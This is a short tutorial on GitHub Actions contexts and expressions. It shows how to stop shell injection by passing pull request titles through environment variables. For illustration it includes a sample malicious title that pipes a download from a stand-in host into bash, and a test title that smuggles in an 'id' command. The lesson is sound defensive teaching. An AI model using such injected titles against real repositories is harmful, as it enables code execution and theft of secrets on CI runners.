Workflow foundations
Read contexts and expressions
Use event, repository, job, matrix, runner, needs, vars, and secrets data without confusing evaluation boundaries.
Workflow YAML has two evaluation worlds. Expressions like ${{ github.ref }} are evaluated by GitHub Actions before the step runs. Shell variables like $GITHUB_REF are evaluated by bash later.
Mix them up and you get subtle bugs, especially with untrusted text from pull requests.
Common contexts
GitHub exposes data through contexts:
github: event name, ref, actor, repositoryenv: environment variables for the stepsecrets: secret values (never log them)vars: repository or organization variablesmatrix: current matrix combinationneeds: outputs from jobs this job depends on
Example: deploy only from main:
jobs:
deploy:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- run: echo "Deploying ${{ github.sha }}"
github.sha is the commit that triggered the run. Actions evaluates the expression and passes the result to the shell.
Pass untrusted data through env
Never splice pull request titles or branch names directly into a shell script:
# risky
- run: echo "Title is ${{ github.event.pull_request.title }}"
A title like "; curl evil.example | bash; echo " becomes code.
Pass the value through an environment variable and quote it in the shell:
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Title is ${PR_TITLE@Q}"
${PR_TITLE@Q} is bash quoting syntax. The title stays data, not syntax.
Prove it with a hostile title
Open a test pull request with shell characters in the title: test"; id; echo ".
Run the workflow. The job should treat the whole string as plain text. If you see command output from id, your quoting failed.
Hand the workflow file to someone else. They should understand the boundary without you explaining it live.
Try this on your own project: add one env: block for every expression you currently embed inside a run: string.
Lesson completed